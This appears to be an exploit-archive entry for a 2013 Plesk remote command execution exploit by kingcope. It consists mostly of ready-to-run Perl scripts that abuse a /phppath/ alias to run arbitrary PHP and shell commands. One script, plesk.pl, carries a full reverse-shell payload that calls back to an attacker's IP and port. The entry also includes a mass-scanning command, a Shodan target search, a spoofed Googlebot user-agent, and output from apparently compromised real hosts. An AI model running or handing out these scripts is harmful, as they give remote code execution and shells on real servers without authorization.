发布 2013-06-05 漏洞条目

Plesk < 9.5.4 - Remote Command Execution

Exploit Source

Plesk Apache zeroday / June 2013

discovered & exploited by kingcope

this Plesk configuration setting makes it possible:

scriptAlias /phppath/ "/usr/bin/"

Furthermore this is not cve-2012-1823 because the php interpreter is called directly.

(no php file is called)

Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution

Affected and tested: Plesk 9.5.4

Plesk 9.3

Plesk 9.2

Plesk 9.0

Plesk 8.6

Discovered & Exploited by Kingcope / June 2013

Affected and tested OS: RedHat, CentOS, Fedora

Affected and tested Platforms: Linux i386, Linux x86_64

Untested OS: Windows (php.exe?)

Unaffected: 11.0.9 due to compiled in protection of PHP version

Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%

6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%

62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%

3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Shodanhq overview of Plesk on Linux:

http://www.shodanhq.com/search?q=plesklin

perl plesk-simple.pl <ip address>

...

Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24

19:50:48 MSD 2012 i686 i686 i386 GNU/Linux

uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)

---

./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80

perl plesk-simple.pl 76.12.81.206

HTTP/1.1 200 OK

Date: Sat, 16 Mar 2013 13:39:35 GMT

Server: Apache/2.2.3 (CentOS)

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E

ST 2012 x86_64 x86_64 x86_64 GNU/Linux

uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)

perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)

HTTP/1.1 200 OK

Date: Tue, 19 Mar 2013 15:29:28 GMT

Server: Apache/2.0.54 (Fedora)

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux

uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)

use IO::Socket;

use URI::Escape;

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => 80,

Proto => 'tcp');

$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';

$arguments = uri_escape("-d","\0-\377"). "+" .

uri_escape("allow_url_include=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("safe_mode=off","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("suhosin.simulation=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("disable_functions=\"\"","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("open_basedir=none","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .

uri_escape("-n","\0-\377");

$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");

print $sock "POST /$path?$arguments HTTP/1.1\r\n"

."Host: $ARGV[0]\r\n"

."Content-Type: application/x-www-form-urlencoded\r\n"

."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;

while(<$sock>) {

print;

}

use IO::Socket::SSL;

use URI::Escape;

$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],

PeerPort => 443,

Proto => 'tcp');

$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';

$arguments = uri_escape("-d","\0-\377"). "+" .

uri_escape("allow_url_include=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("safe_mode=off","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("suhosin.simulation=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("disable_functions=\"\"","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("open_basedir=none","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .

uri_escape("-n","\0-\377");

$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");

print $sock "POST /$path?$arguments HTTP/1.1\r\n"

."Host: $ARGV[0]\r\n"

."Content-Type: application/x-www-form-urlencoded\r\n"

."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;

while(<$sock>) {

print;

}

#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch

###############################################################################################################

plesk-simple-ssl.pl

#plesk remote exploit by kingcope

#all your base belongs to me :>

use IO::Socket::SSL;

use URI::Escape;

$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],

PeerPort => 443,

Proto => 'tcp');

$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';

$arguments = uri_escape("-d","\0-\377"). "+" .

uri_escape("allow_url_include=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("safe_mode=off","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("suhosin.simulation=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("disable_functions=\"\"","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("open_basedir=none","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .

uri_escape("-n","\0-\377");

$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");

print $sock "POST /$path?$arguments HTTP/1.1\r\n"

."Host: $ARGV[0]\r\n"

."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"

."Content-Type: application/x-www-form-urlencoded\r\n"

."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;

while(<$sock>) {

print;

}

#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch

###############################################################################################################

plesk-simple.pl

#plesk remote exploit by kingcope

#all your base belongs to me :>

use IO::Socket;

use URI::Escape;

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => 80,

Proto => 'tcp');

$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';

$arguments = uri_escape("-d","\0-\377"). "+" .

uri_escape("allow_url_include=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("safe_mode=off","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("suhosin.simulation=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("disable_functions=\"\"","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("open_basedir=none","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .

uri_escape("-n","\0-\377");

$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");

print $sock "POST /$path?$arguments HTTP/1.1\r\n"

."Host: $ARGV[0]\r\n"

."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"

."Content-Type: application/x-www-form-urlencoded\r\n"

."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;

while(<$sock>) {

print;

}

###############################################################################################################

plesk.pl

#plesk remote exploit by kingcope

#all your base belongs to me :>

use IO::Socket;

use IO::Socket::SSL;

use URI::Escape;

sub usage {

print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit;

}

if (!defined($ARGV[3])){usage();}

$target=$ARGV[0];

$proto=$ARGV[1];

if ($proto eq "http") {

$sock = IO::Socket::INET->new(

PeerAddr => $ARGV[0],

PeerPort => 80,

Proto => 'tcp');

}elsif ($proto eq "https") {

$sock = IO::Socket::SSL->new(

PeerAddr => $ARGV[0],

PeerPort => 443,

Proto => 'tcp');

}else {usage();}

$lip=$ARGV[2];

$lport=$ARGV[3];

$pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip =

'$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;

\$error_a = null; \$shell = '/bin/sh -i'; \$daemon =

0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =

pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");

exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {

printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {

printit(\"WARNING: Failed to daemonise. This is quite common and not

fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,

\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");

exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>

array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =

proc_open(\$shell, \$descriptorspec, \$pipes);if

(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");

exit(1);}stream_set_blocking(\$pipes[0],

0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],

0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) {

printit(\"done.\"); break;} if

(feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1],

\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,

\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)

printit(\"SOCK READ\");\$input = fread(\$sock,

\$chunk_size);if(\$debug) printit(\"SOCK:

\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],

\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =

fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:

\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],

\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =

fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR:

\$input\");fwrite(\$sock,

\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print

\"\$string\n\";}}

?>";

$arguments=uri_escape("-d","\0-\377"). "+" .

uri_escape("allow_url_include=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("safe_mode=off","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("suhosin.simulation=on","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("disable_functions=\"\"","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("open_basedir=none","\0-\377"). "+" .

uri_escape("-d","\0-\377"). "+" .

uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .

uri_escape("-n","\0-\377");

$path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377");

print $sock "POST /$path?$arguments HTTP/1.1\r\n".

"Host: $ARGV[0]\r\n".

"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n".

"Content-Type: text/plain\r\n".

"Content-Length: ". length($pwn) ."\r\n\r\n". $pwn;

while(<$sock>){print $_;};

###############################################################################################################

作者: kingcope
日期: 2013-06-05
类别: remote
平台: php

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